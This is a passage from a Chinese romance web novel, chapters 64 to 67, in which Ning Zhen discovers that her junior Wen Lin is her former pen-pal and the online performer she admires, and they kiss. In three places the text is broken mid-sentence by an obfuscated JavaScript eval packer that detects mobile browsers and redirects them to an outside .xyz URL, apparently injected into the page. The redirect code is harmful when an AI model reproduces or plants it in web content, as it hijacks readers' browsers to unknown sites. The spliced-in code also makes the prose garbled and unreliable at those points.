不知不觉,视频已经循环了六分半。手机外放着音乐,清亮筝音潺潺地流向周身,她在柔软的床里陷了又陷,直到一道似笑非笑的声线撩起古筝的弦。 “师姐你……还要看多久?” 64. 不准恋痛 声音不热,却让宁蓁烫到耳朵。 窗外,太阳那么烈,细碎的栾树叶子惊慌闪躲,最后还是被照得透亮。 逃避没有用。她贴着枕头的侧脸些微向右转,余光撞见一身深沉的黑。 “你……” 手机迅速熄灭塞回被子里。羞耻感一寸寸往上爬,从小腹到胸口再到眉尖,酸软的心脏一颤一颤地跳动。 幸好,宁蓁长了张紧实轻薄的脸,皮肉下赧然与漠然对冲,最终只是目光飘远了几厘米。 “沐沐在挠门,它一般不打扰客人,除非有特殊情况。我敲门了,你没听见,发微信你也不理……” 她只说个“你”字,温霖就全盘托出了。 “你进来多久了。” 溪水埋着他的呼吸,怪宁蓁自己没听见。 他垂下纤长的睫毛:“五分钟。” “是吗。”她慢慢支起上半身。 “……可能七分钟了。” 卧室里没有椅子,温霖干脆后撤右腿跪在地上,双手交叠搭在床沿。“对不起。” 宁蓁摇头。 她了解他的底色,如果不敲门,他是不会进来的。 “你下班真早。” “今天拍摄结束得早。” 温霖低头,唇边藏着笑意。他的唇形天生引人遐想,中央的弧度微微向上拱起,看起来很容易亲吻。 宁蓁视线溜向左侧的窗,树叶轻轻摇曳,比刚才更亮。 “笑什么。”她问。 他从第一句话就一直带着若有似无的笑,好像忍不住。 “就是,”温霖的视线撇向房间角落,思考如何询问,“你看的视频……” 哗—— 叶子被一阵风吹开了,四散奔逃。 她手指在被子里掐住床单,迅速打断:“我在电梯里碰见一个初中学生。” “嗯?” “他说你在他们学校春游那天给他带了薯片。” “啊,露馅了。” 被揭穿的瞬间,他怔了两秒,或许比两秒更短。 好,话题转移成功。 但是,只有两秒? 温霖似乎并不忌讳谈论这件事,低垂的眼睛缓缓抬起来。 “因为我希望得到你的信任。” 他注视着宁蓁,心无旁骛。她在他黑色的瞳孔中看见自己。除了她,温霖眼里映不出别的。 从很久很久以前开始。 布洛芬不仅镇痛,还推来一阵绵密的眩晕感,像圆圆的水的波纹。 他被那圈涟漪波及,身形微微晃动。 “真诚才能换来信任。” 拿真诚交换是他一贯的信条。宁蓁忽然发觉,他早在谋划那天就想好要怎么向她解释。 没有人能免疫真心诚意,所以她自然没办法苛责他。 可他的“真诚”就是无差别地自我算计,然后露出最脆弱的颜色吗,那和剖出一颗鲜血淋漓的心脏捧给别人看又有什么区别。 隔着明净的窗,树叶窸窸窣窣晃得更厉害了。 停滞片刻,她的眉心稍稍变紧。 “你对所有人都这么真诚。” 宁蓁总把疑问说成陈述句,语调下沉,仿佛事实就是这么回事。 说完,她后悔了。好像她故意闹别扭似的,等他反驳,等他给出她想要的答案。 ……她想听见什么答案? 心知肚明。 栾树细细的叶子摇个不停,阳光盛在叶脉上,太亮,太碎,差点扎了她的眼睛。 温霖的回答只是笑着摇头。 师姐依然镇定,不可动摇,唯独面色凝固着趁虚而入的苍白。 他承认自己没有百分之百专注在对话上。他分着心,默念她的ID。手机没带进来,看着师姐熟睡的脸的时候不需要它。A897DE3,她对着那个视频发呆。他有一瞬想让师姐别看了,因为动捕服其实穿着很局促。最后他开始筹划明天。 这一刻,以退为进,他绕开言语上的承诺。 只对你袒露脆弱,只想对你。但他按捺住不说。 “师姐,看,耳洞。” 温霖靠近了些,指尖拨起耳垂。 师弟的耳朵时常暴露自己,现在也覆了层淡粉,像失手打翻了水彩。 他的确穿了一对银色耳钉,之前没有的。宁蓁在网上浏览过一次性无痛穿耳器,一块穿针引线的白塑料,对着镜子然后对准,喀一声按下去,要快要稳要狠,用金属钉刺进自己最薄最柔弱的地方。 ……怎么可能真的无痛。 冰冷的金属色泽压抑着他的血色,连阳光都黯淡了些。 宁蓁思绪游离,梦里喊她小师姐的怪人又闪回眼前。那是多自恋的梦,梦见有人为她流血,为她在手腕刻下伤痕。 她昏昏沉沉,鬼迷心窍般伸向温霖的手。 右手没受过伤,手臂内侧皮肤光滑,腕上透出一抹青,底下伏着鲜活的脉搏。太好了,是完整的,没有失血的痕迹。 宁蓁越攥越紧,像梦里的师弟握住她的力度。 好冷好冷。 “你恋痛吗。” 她问。 这次,笑意消散,他真的怔了。 “我……” 温霖别开视线。 她手心温热,慢慢融解他骤降的体温。被看穿了,难免的。师姐不知道他在文学社抽签玩过的小把戏,却好像知道他在弄丢她之后躲在卧室里自残。 不,也许她不知道。如果她知道的话,会不会觉得恶心,彻底离开他? “不要再这样了。” 真切的眼里波澜起伏。宁蓁对上他的目光,心口滚烫。 “如果你太痛的话,我也……” 我也会痛的。 * 后来,沐沐搅乱了他们的谈话。五点,栾树停止摇摆,它冲着客厅落地窗下玩闹的小孩子汪汪汪起来。楼底下的叫喊变明显了,音调拉得好长好长。 “爷爷!”“奶奶!”“我要去小广场啦!”“快出来玩儿呀!” 宁蓁想到那个初中男孩,匆匆松开手。 “你该去遛狗了。” 她催促,自己又缩进轻软的薄被。 没办法,今晚他要做新鲜的饭,只好提前陪沐沐散步,不过他看上去倒不是不情愿。 “去去就回,如果身体难受再打给我。”离开房间前温霖叮嘱。 她在被子里只露个头,挥挥胳膊。 门轻轻带上了。 客厅传来关门声,一切重归寂静。宁蓁又困了,半阖着眼捂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448749|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小腹,脑海中又冒出那句疯狂的诘问。 “我是小说里的人物吗?” 创伤会好起来,可唯有这想法反复骚动。 说实话并不稀奇,他们在大一的第一堂哲学导论课就见识过缸中之脑。当年同学在课上各执己见,凭借对世界青涩的想象争论不休。实在论,怀疑论,后设伦理学。但现在她遇到的不是哲学性的难题,而是文学性的。她以为自己是小说里的人物,只是因为现在太幸福了。 安稳的傍晚,安稳的日子,只需要顺利度过生理期,庆祝它准时来,期盼它准时走,其他的什么都不用担心。 滋滋——手机振动。 善善:「宁蓁姐姐好久不见」 善善:「铛铛铛铛,我们的非遗报告拿了北城一等奖啦!」 善善:「一等奖嘿嘿嘿嘿,你这几天要不要去趟李阿姨家,我爸妈要上门感谢你呢」 报告竟然真获奖了,恐怕她们下了功夫,毕竟宁蓁当时只会说些套话,没帮上什么忙。 「我在」 她手指悬在九键键盘上。 「我在朋友家」 发一会儿呆,删掉。 「我在外面旅游,暂时回不去」 宁蓁不想说谎,但上次和姨妈的冷战还没结束——她估计都不知道莫昭已经进ICU了。 方善善那边也没纠缠,说过几天把礼物放到李肃那儿,等人回来再见面。她顺手点开女高中生朋友圈,昨晚刚新发了一条,写着“我的星星,我的月亮”。 语气像恋爱官宣一样,照片是女孩骄傲的神情,旁边贴着精致的金发帅哥的脸。 和知名爱豆的合照,AI制作。 真方便啊,宁蓁默默感叹,她们的年代做这种图都得用PS。 喜欢偶像总比喜欢老师好,她给善善点了个赞。 布洛芬药效长达十二小时,可以趁身体舒适下床走走。卧室装潢简洁,一座白色书柜与衣柜并排,里面横着满满当当的漫画。宁蓁扫了一眼中间那排名字:以柔克刚、Monster、20世纪少年、朝剧。大多是悬疑为主线的青年漫。下面那排:月刊少女野崎君、好想告诉你、青之箱。风格迥异的少女漫。 收藏的类别相当广泛,不过书架上好像少了一个系列。 他不是最喜欢哆啦A梦吗? 宁蓁又看了看旁边的衣柜,没准拉开之后是满眼的黑白灰。 明明之前穿过很多柔软的雾蓝和鹅黄来着。 难道那也是他的保护色…… 未经同意,她没取下任何一本,也没擅自掀开衣柜。时间消磨得飞快,她再走到客厅时,温霖正在给沐沐擦脚。四只狗脚,每天遛两次就是擦八只,遛三次就是擦十二只。有点好笑。 半小时后,宁蓁凑去厨房帮忙,却被他推出来。 “师姐去和沐沐玩。” “我在寺里的厨房干得很好。”她尝试辩驳。 “是想要你休息。” 温霖有一双适合拿刀剑的手,指尖纤细,用力时粉色的指甲轻微泛白。案板上放着白洋葱,他正在切,左手覆盖着包裹,掌心托住圆润的弧线紧紧贴合,又准确又稳定。 如果不流血,那只手还适合做点别的,除了刀与剑。 她的小腹隐隐痛起来。 65. 亲吻的时候你在想什么 晚饭有种令人怀念的味道。 生理期第一天,她依然停不下筷子。 从前莫昭经常带她吃饭,吃昂贵的饭,仿佛和他一起用餐是多了不得的事。那些食物一顿顶她大学一个月生活费,显摆他无处安放的财力。她每次饥肠辘辘地去,但是往往东西滑下去,胃敞开了,脑袋却关闭了。严格来说不叫“吃”,而是“吞”。难吃。只有最后上来的小甜点值得品鉴。她怀疑自己在吃喝方面总是凑合就源于那时重复叠加的阴影。 如今桌上的菜色香味俱佳,宁蓁也离进食障碍越来越远。“食不言寝不语”不是规矩,纯粹是因为吃到没空讲话。 师弟坐在餐桌另一侧满足地笑着。或许,她觉得美味,也有对面换了人的缘故。 “又在笑什么。”她面无表情地眨眨眼。 “看师姐好好吃饭我很开心。” 温霖手臂支在桌上撑住侧脸,身子斜倚着。空气慵懒地缓缓流动。 他似乎额外关心宁蓁的食欲。 眼前忽而闪过十年前那名别扭的少年的身影,两人一起流浪那天,他买了甜筒递来,而她小心翼翼琢磨着用什么角度去接能避开他的手。 宁蓁轻轻皱眉,没再说话。 饭后她端着碗进厨房,再次被推出去。温霖不让她沾任何家务,说反正平时一个人生活都做惯了。她看向客厅一角,围栏圈起沐沐的家,四周大面积铺上米色防滑垫。他照料自己,还要照顾沐沐,生活依旧井井有条。看起来是个J人。 I、N……FJ? 晚间她窝在卧室里看漫画,师弟强烈推荐那本《朝剧!》,讲述大家族里被忽视的小女孩展开悬疑冒险的故事。翻开书前,她以为他会选《好想告诉你》。可是告诉谁?告诉什么?她好像期待他流露出某些话语,但他偏偏不说了。 十点,远在海岛度假的安唯发来消息。 YUI:「珍珠,给你的,庆祝欺人太甚的富二代倒台」 一串珍珠手链拎在阳光下,背景是几乎透明的海水。她知道莫昭的下场,因为殊姐在身边,她的消息理应更加灵通。 宁蓁回了个表情说谢谢。漫画翻到第三卷,女主角学会了驾驶飞机,她看到泪眼模糊。 过一会儿,手机又响。 YUI:「对啦,你和沐沐主人怎么样了」 YUI:「两个天蝎座要么灵魂伴侣,要么相互绞杀」 YUI:「不顺利也没关系啦」 他竟然也是天蝎座。 这么说,他们的生日都在十一月。宁蓁心里顿了一下,她对他的了解有时还不如小唯多。 「我们还好……」 YUI:「喔~~~」 波浪号拐着暧昧的弯。 起码他们没走到相互绞杀那一步。如果是梦里的师弟,恐怕只有她绞杀他的份。 第三卷读完,书中的悬疑氛围蔓延到枕边。 梦是各种形象的综合,她至今难以确认“梦里的”到底是谁。在小学课堂上遇见高中同学的梦比比皆是,其实没有特殊含义,大概是记忆的碎片搅和匀了,又随机重组过。 今晚会梦见什么呢。 还有明天,明天…… * 结果那晚,宁蓁在梦中开飞机,机翼上坐着《朝剧!》的女主角。 一睁眼,沐沐又挠上了门。她睡到九点,没被痛醒,微信里是温霖的留言,“遛过了,今天不用出去”。 漫画演到关键时刻,重大谜题即将揭晓,她揉揉眼睛,顺便问他第六卷放在哪里。 L.:「在」 L.:「茶几上」 他难得不用表情包,走出卧室时,宁蓁还没猜到他的用意。 沐沐乖乖呆在围栏里,毛茸茸的尾巴高高举起,摇摆时勾成半个圆圈。她心里想着那个圆圈,左右摇啊,晃啊,一路晃到茶几旁边。漫画摆在玻璃的桌面上,封面是长大的女主角,橘色字体写着本卷的宣传语。 奔跑吧——歌唱吧! 承载着希冀的青春—— 飞翔! 她伸手去拿,压在漫画书底下的信封同时飞了出来。 左边是昂扬的“希冀”“青春”,右边迎上尘封已久的旧事。 温霖仔细收着文学社来往的信,这么久了,纸张甚至没有发黄变软。她轻轻抚摸表面的凹痕。当年,为了识别彼此,他们在封口处画下独属于两人的花色。 K、红桃、黑桃。 信由她寄出,标记也出自她手。蓝黑碳素笔刻画得十分用力,不知是不是无意的,爱心状的红桃被摆在正中央。 秘密情书一样。 指尖沙沙地磨着信封游走。十年后,它再度沾染她的指纹。现在宁蓁有点摸透他了。他把信压在书底下,就是为了让她看的。 打开吧。 打开。 封口的胶棒早风干了,两张信纸叠在一起折成三折,她高中时的笔迹随着清脆的翻页声徐徐展开。 目光飘忽落向第一行的收件人。 两个字母,一个半角符号。 「L.Y」 耳边嗡的一声,烫熟的铁块嵌进胸口轰然坠地。 等等。 不会弄错了吧。 宁蓁霎时双眼发直。 这不是“鸰一”的缩写?L和Y之间夹了英文句号,特地被他写在账号的个人简介里。这……这对吗?世界那么小那么巧,他十年前用的匿名代号撞了她关注已久的动捕演员?好吧,也说得通。唉不对,怎么所有巧合全都降临在她身上?哎对的对的,她看着温霖的微信觉得L后面少个字母,不就是Y吗。 她眉毛攒到一起,皱成八字。 还是不对吧…… 中间的内容宁蓁不敢看了,直接翻到第二张信纸最后一行,落款人是“九”。 梦中他说——“九师姐,你糊涂了。” 现实里,他在信封夹层里写道——“九师姐,这是我的联系方式。” 怪不得,怪不得,因为她随手拟了个名字叫做“九”。 对啊,一切都有关联,一切都有迹可循。 那岂不是说明一直以来她的梦中人真真切切实实在在就是他。 所以,鸰一成了他的替身? 宁蓁心虚地移开视线。 不对,鸰一不可能是替身。肯定是她移情别恋了。狐狸可以同时date三个男人,她也可以同时对两个人心动。她没有办法,谁让他们太像了,梦中的身形明灭又重叠,简直就像一个人。 ……? 宁蓁独自混乱,此时手机的振动像根救命稻草。 L.:「师姐看见漫画了吗」 他言下之意问的是信。 她晕晕乎乎回一句“看了”。 对面没消息了,挠一下她的好奇心就跑走。不过宁蓁也没有余力纠结,手指滑掉微信,颤巍巍按向短视频app。 图标有变化。 右上角添了个红点,有人给她发评论或私信。 手机慢吞吞卡了三秒,消息栏显示数字一。在那里,她是用户A897DE3,籍籍无名的随机ID。发来私信的人顶着神秘的氛围感头像,戴一副黑口罩,碎发深到泛蓝。 「那师姐看见我的新视频了么」 这、这对吗?心跳声由远及近地放大,像麻雀叽叽喳喳的歌声般聒噪。 他的最新发布时间是早上八点二十分。画面里,鸰一拔剑的动作干净利落,宁蓁的手却仿佛黏在进度条,拉回来,推过去,再拉回来。她紧紧闭了眼,眼帘却留一道缝隙,只剩下他耳垂上明晃晃的银色耳钉。 漫画封面的宣传语朝天际倾斜,热情四溢。 奔跑吧——歌唱吧! 承载着希冀的青春——飞翔! 她整个人都快飞起来了。 天啊,这真的不对吧! * 一整天,师姐都没有回消息。 温霖当做她看《朝剧!》看得着迷。那本书画功扎实,悬念引人入胜,她一定喜欢。 所以用剧情关键的第六卷当作诱饵也情有可原。 「下班啦」 路上温霖发了条消息,对方依旧不理睬。 ……会不会用运营账号发私信惹她生气了。 但是今天,车窗外的天色比昨天更蓝。 回家后小狗前来迎接,防滑垫上多了一只大象一个甜甜圈,看来师姐陪着玩过。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453808|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只理沐沐,不理他。 甚至拔河玩具随意丢在地上,完全脱离她的风格。 “师姐——” 温霖喊了一声,听不见回应。客厅无人,厨房空着,要么她出去了,要么在自己的房间。 冰冷的水流冲刷着双手,他洗过两遍,随后走到房门前。 咚咚咚。 指节轻叩三下,门借着他的力度自行开了。她没有完全关上。 窗户敞着,夏日薰然的风扑面而来。 他怕被沐沐打扰,顺势咔哒一声拧了门锁。 被子立在床边,裹成严严实实的粽子形状,师姐蜷腿坐在里面,只露出一双眼睛。 漠然的,疏远的,不可冒犯不可诱惑不可动摇的。 终于,他离她这么近。 脚步毫不拖沓。宁蓁稍稍抬了眼,温霖和昨天一样撤开右腿,膝盖抵住地板,在她面前跪下。 他中意这个姿势,方便从低处迎上去。 梦里的人就在眼前。十年前送她甜筒冰淇淋的少年,她的笔友,她倾慕的对象。不同时间不同空间她不由自主选择的,反反复复心生好感的,全部都是同一个人。 床很高,宁蓁低头,鼻尖掠过翻涌的青草香气。 越来越近。 “师姐,你是不是喜欢我?” 纤长睫毛扑朔两下,眼底有澄澈的光亮。温霖没直接说“我喜欢你”,他已经用各种方式在各种场合说过太多次。 她抿了抿唇,心脏垂直地跳着,在胸腔里竖了起来,一阵酸楚。 “如果不喜欢的话,就推开。” 他仰头吻了上来。 速度飞快,几乎没给她思考的时间。他想要的回答在接下来绵长的吻里,柔软湿润的唇轻轻交叠,稍作停留,然后吮吸着她的呼吸慢慢潜入。 宁蓁感受到他睫毛近在咫尺的颤动。温霖的姿势看似严密,其实漏洞百出。她身居高处,手肘隔着薄被架在他肩膀上,只要她想,就能轻易推远。 可是,怎么舍得。 她唇齿微张,允许他深入。轻吻濡成湿吻,在狭小的角落细密研磨。她的长发下落到他脸颊,牵出若有似无的痒,他的呼吸在那时骤然重了,夹带着轻喘。一颗心七零八落摔出来,摔向他的肩。温霖撑住她,上身抬高了些,拨开她的发丝更加放肆。 一口气用尽了,但师弟不肯轻易放开。 他笑了笑,只分离片刻,再次吻上她。 宁蓁手臂酸软地撩开被子。 你从多久以前就开始谋划今天了呢?昨天的笑是有原因的,突然展示耳钉也是。她在呼吸与他彻底交融之际想,当时没有拆穿我,是为了这一刻吗。 风吹得太久太长。她手掌探向温霖的胸口,掌纹吸附着衣料微弯。 宁蓁悄然睁眼。指腹紧贴着,却在颤,摸到他的心跳。 她的师弟颇有心机,却藏不住自己的悸动。 晚风捉住每个小空隙钻入薄被,蹭进袖口触碰肌肤。犬齿磕着下唇磨出轻微的疼,随即又用舌尖细腻地安慰。她试图后仰,但温霖追着去吻,一寸一寸延绵不绝,她终究招架不住,最后脱开被子彻底往后摔去。夏天的光亮掀翻了,倒在床上时,宁蓁脑后枕着他护住自己的手。 长发散开,她大口汲取着氧气。 他撑在她上方,眉眼低垂。 “……时间,太长了。” 房间热了。她小声嗫嚅,目光恍惚停在被她揉皱的衣服上。那底下深埋着他不安的心脏。她顺着腰线抚上他受过伤的左肩膀,一路滑向颈间。 喉结上下滚动着,触感却是冷的。 宁蓁心绪游离地想,即使是现在,你的体温依然这么凉。 “我怕师姐想不清楚。” 时间够久,才能确认她的心意。他已经忍耐了好多年,只是蜻蜓点水难以餍足。温霖的眼睛蒙了水汽,她有点分不清眼里究竟是乖顺还是张扬,但他毕竟才二十三岁,呼吸掺了迷离的气息,耳根也红透了。 扑通,扑通,扑通。 他颈侧的脉搏被师姐数着,每分钟一百六十下。紧张却又渴求。 宁蓁扭过头,心里冒出蓬松的顽劣。 “……再一次。” 66. 隐藏款钓系 幸而接吻不会溺水,也不会呼吸性碱中毒,否则她已经死过好几回了。 不需要做什么,享受就好,连回应都不用。他借着年轻的横冲直撞吻到她缺氧,牵着她洇入更深的热流。 夏日气温搅得天地旋转,但宁蓁始终睁着眼。 她要留心听。 树叶阵阵窸窣地翻,衣服彼此簌簌摩擦。他的呼吸偶尔乱了频率,每逢那瞬间,她的内心有个地方在痛。 医生不让他碰容易成瘾的东西,结果显然失败了。宁蓁不推也不放开,为了确认自己横躺时耳边是清净的。 没有警报声。没有尖叫。 没有。 种在记忆里的噩梦不再来了。 温霖似乎察觉到她走神,右手从师姐脑后抽出来,去寻她的手。指尖交合,紧紧扣着锁着,分明的指节都泛了白。 她被吻得发热,从前的线索慢慢浮上来。 ——“今天拍摄结束得早。” ——“十几万粉丝的小网红。” ——“算是工作,有时候得干点体力活儿。” 他们那么像,而且明示摆在她眼前。她还给鸰一留过言,说他有古典舞的功底。 好了,现在不仅师弟的名字叫不出口,他披在网上的ID她也说不出了。 贴在他颈侧的手心蓦地滑下来。 “唔……” 忽然,师弟轻轻咬她,像被冷落之后的负气。 然后仿佛哪里不满意似的,攥起她的手往头上举。 师姐上身纤细,温霖单手缚住她两只手腕绰绰有余。 但是,不行。 亲昵的纠缠掠过、抽离,渐渐地,深吻缓成轻吻,紧扣的手克制了冲动,停在她耳骨平行的位置。 他不想束缚师姐的自由。 他不能。 温霖胸前的起伏比她剧烈,甚至不敢抱她,怕某处变化填满空隙。 宁蓁出了层薄汗,可看上去湿漉漉的反而是他。 “我的头发,”她倏然开口,“是不是长得很快。” 前段日子剪断的,没过多久又长过了锁骨,一路向下缠绕在他手里。 “嗯……” 手心发痒,心跳蓬勃灼烧,烫到膨胀。 他嗓音暗了,却还是忍不住完完整整重申一遍。 “……好喜欢你。” * 话都让温霖说尽了。 先问她喜不喜欢,再黏黏糊糊告白,深黑碎发遮着濡湿的双眼。但他亲她时的反应可不止于“喜欢”。 宁蓁才反应过来那是他的初吻。 第一次就这样,以后该怎么办。 以后……? 她琢磨这两个字,一笔一划在心中写出来。多久以后?一年,两年,五年?是不是想得太远。 温霖翻身下床,先离开了卧室,短袖黑T在床上掀起一截,露出紧致的薄肌。 宁蓁眼神顿了顿。 她记得自己曾经肖想过他。那时她被载去参加宴席,误入了奢靡的鎏金般的上流社会,笑声流连觥筹交错,家族铺好了路,只待血缘和裙带一代代巩固他们手中的财富。她穿着昂贵的高定,胸口镂空,感觉像赤/身/裸/体。她不属于那里。她是个吹鸟哨的普通人,也只想做普通人。她的大脑封闭,简直快被活埋了,不得不剖开一个缺口得以喘息。 她从那条小小的缺隙看见温霖衣服下的身体。 说来有点可笑,但恰恰因为太过苦闷,所以分散了注意力。 不过刚才不一样。 傍晚舒适的风徐徐吹着,撩走浑身热气。 没一会儿,房间外传来严厉的训诫。 “老实交代你刚才干什么了?” 她下床,踮脚走过去。 客厅,温霖正半跪在地,伸出食指点着边境牧羊犬的鼻子。沐沐挨训了,坐得端端正正,脖子却朝前低伏,眼珠四十五度斜着,骨碌碌滚向角落,看饭碗看玩具唯独不敢看主人。 和网上“你家边牧犯错后是不是这表情”一模一样。 “多大了还乱咬东西。” 沐沐不吭声,爪子边上散着一本咬烂的漫画,封面是个笑容开朗的蓝胖子。 原来《哆啦A梦》在这儿。 书页层面封了金边,估计是典藏版。宁蓁不由自主轻咳两声。 沐沐听见,朝她吐舌头笑。 “什么意思?” 它在搬救兵,但主人反而更生气了,吓得小狗直立正。她还没见过温霖发火的样子,眉目锋利,确实让人心生惧意。她想劝两句,说饶了小狗吧,它脖子弯得都像一条蛇了。 宁蓁挪到他身边蹲下,伸手往他手背上拦。 冰冷的温度。 好像冷血动物的体质,无论内心多热,都透不过肌肤。 她突然想起他和莫昭唯一一次正面交谈,剑拔弩张的氛围,险些点燃森林里干枯的风。 宁蓁的手揽上来,他气已经消了一大半,但小狗要立规矩,该教训还是得教训几句。 “师姐你不能宠着它。” “我给你买一套新的。” 不能宠小狗,那宠你好了。 虽然根本谈不上“宠”,一套典藏版漫画大概四五千块,作为礼物她完全负担得起。 温霖的耳朵泛起薄红,无奈地叹了口气,撂下手。沐沐瞧准时机扑上去舔舔他下巴以示讨好,尾巴快要摇上天去。 先做错事,再拼命摇尾巴道歉惹人怜爱。既然如此,为什么不在一开始就避免犯错? 指尖滑过他冰凉的手背,放开。亲吻的余韵尚未消退,他却在那时轻皱了眉。 果然,她还是不知道小狗到底在想什么。 * 后来几天生活照旧,住在同一屋檐下一起吃饭,互道晚安,谁都没再提起那天在床边亲了又亲的场面。 早在那之前他们看起来就像一对情侣。小唯说过,寺里人错认过,狐狸和仙女也开过玩笑。温霖曾经主动抱她,她也总顺手牵他衣袖,时隔十年再重逢,两人已经不可能再囿于朋友关系,她以为不用再明说了。 况且,也说不出口。 春天还没来的时候,大数据把他推送到宁蓁眼前。以前她在李肃家创伤发作,想着干脆拨开卫生间的小窗户一跃而下,那时她幻想鸰一能救她,带她逃到遥远的地方。 而现在情形一百八十度逆转。 不仅名字喊不出来,连看都不能看,否则满脑子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果她打不过,也许会问“怎么办”,然后他接住手柄,自然而然牵上她的手。 无伤大雅的小心机,但这次他过分天真了。 因为师姐是个隐藏的专业玩家。 她视线钉在电视屏幕,目不转睛。第一次“YOUDIED”,没关系,还有第二次第三次。她在沙发上坐得笔直,全神贯注推着摇杆。死亡是家常便饭,却激起她的好胜心。很快,她掌握了翻滚的技巧和节奏,初始角色的小直剑一刀刀砍在boss身上削掉了一半血条。 “……” “呃……” “啊好可惜……” 宁蓁遗憾地按下X键满血复活。他在旁边害怕干扰她,话也不敢说。 房车里的场景忽然在脑中复现。 ——“双人游戏一个人通关好难,你是高手啊。” ——“不算吧,我只是没有朋友。” 两个月前温霖顾着为“没有朋友”四个字难受心疼。今天,他却只能抓住她复活的间隙问想喝点什么饮料。 “梅子汽水。” 胜利接近,她微微笑着。 67. 哭得很漂亮 师姐专心致志玩着游戏。温霖单手帮她开了罐,顺便拿两颗果冻撕开包装慢慢吸。 他有点沮丧,心脏不停喧嚣。在福缘寺里,安唯曾经问他星座,然后露出一副意味深长的表情。 ——“两个天蝎啊,不是灵魂伴侣就是相互绞杀。你选哪个?” “绞杀”听起来挺干脆,不留痕迹。温霖想象师姐的手沉到自己颈间,倘若真有那一天,他恐怕也闭上眼欣然接受。 ——“我好像没得选。” 当时他礼貌地笑着,给了个模棱两可的回答。 九点半了。 桃子气味在唇齿间跳动,他细致地吮着果冻,看电视里她亲手捏的女战士又一次挥起直剑。 宁蓁独自玩到很晚,最后怕打扰沐沐睡觉才存档关掉游戏。温霖想陪着,却被她早早推回房间。 “不早睡的话长不高哦。” 她淡然的面容透着狡黠的笑意,显然是记得多年前一起出逃那天。 深夜,窗外雨势愈猛,顷刻间盖住路灯惨淡的光。莫名的不安在屋内疯狂生长,他融入黑暗,用手臂遮住双眼,怀疑师姐有没有真的喜欢他。她没准只是恋旧。亲吻的时候不推开,也只是一时忘了拒绝。 毕竟她连那时都在分心。 陷进床的柔软近在咫尺,他却不知道她在想什么。 他凌晨入眠,睡得极不安稳。第二天,公司的孙姐捧着电脑给大家分零食,说昨天出了条爆款,点赞量上二十万。温霖在这事上极为自谦,认为和他关系不大,运营策划视频剪辑都是内容部做的,他只给账号起了个名字,外加配合出镜。 “孙姐今天请吃个晚饭吧!” “就是就是,所有人都去啊。” 他微笑着摆摆手,只想看师姐写的留言,拿出手机,却瞥见用户A897DE3的关注数是一个刺眼的零。 * 白天,宁蓁投了篇新稿子,跑去客厅点亮主机。 游戏世界宏大,每个犄角旮旯都藏着埋伏,强行拴住她的注意力。死亡让人越挫越勇,为了打倒下个boss,为了看看从这一侧无法打开的门到底通向哪里。 她完全沉浸其中,没看手机,三小时后才发觉微信里有新消息。 「周日小宇回国,一起迎接么」 以为是师弟,结果竟然是兢兢业业的王老师。 「想着你们也好久没见了,没别的意思」 「如果你有空去的话再联系」 小宇…… 除了李肃,世上仅剩他一个人和她最爱的姥姥有所关联。 宁蓁放下手柄,回了一句“在哪”。 自从姨妈离婚,小宇出国,他们就没再联络。十年了。她不知道他如今长成什么模样,甚至通讯录里存的还是他儿时旧房子的座机号码。 小宇小时候是一块石头。所以当初执拗的初中少年不肯下楼梯时,她觉得他们有几分相像。 然后,天色逐渐阴沉。又下雨了。 晚上温霖按时回家,照例食不言寝不语。雨天气温低,十二点,宁蓁钻进被子,恍恍惚惚做了梦。她梦见女主人公有三个约会对象,无比清晰真实,直到一个惊雷打响轰隆隆把梦乡摔个粉碎。 夏天的第一声雷。 她猛然惊醒,一时难以安眠。 沐沐今夜进了笼子,四周遮着黑布,为穴居动物模拟狭小洞穴的安全感。小狗熟睡,客厅沉甸甸的静,只有窗外闪电劈得夜空天光乍现。 宁蓁烧了壶热水等待放凉,回想着意犹未尽的梦。 梦中没有姥姥和小宇,也没有师弟,似乎和她的生活完全无关。 无关吗? 拨开窗帘,正巧电闪雷鸣,黑夜照得宛如白昼。 轰隆—— 雷声慢几秒,直直砸中心脏,她被吓得倒退两步。 背后是柔软的棉质衣料和薄凉的体温。 “还没睡啊,师姐。” 宁蓁转过头,发现自己撞进了他怀里。 她扶了一把他的小臂稳住重心:“我做梦,被吓醒了。” 温霖好像也刚刚醒来:“梦见什么?” 标准问答,但宁蓁的回应彻底脱离了轨道。 “……梦见一个女孩有三个约会对象。一个年长,表面轻浮背地里脆得像玻璃。一个模特身材的高冷冰山,但私底下非常纯爱。还有一个学古典乐演奏,比她小七岁。” “……” 太详细了。 详细到他无言以对。 三句话,三个机会,温霖试图找到位置,却发现哪个模子都放不进去他自己。 他其实站在客厅里看了她许久。她单薄的身形立在落地窗前,悄悄掀开窗帘往外探望,仿佛下一秒要张开翅膀飞出去。 如果飞出去,她就不会回来了。 “……” 浓重的沉默蔓延开来。 漆黑中,宁蓁感觉到他手臂一僵,眼神收不住凌乱。 忽然,他变成一场失去方向的风。 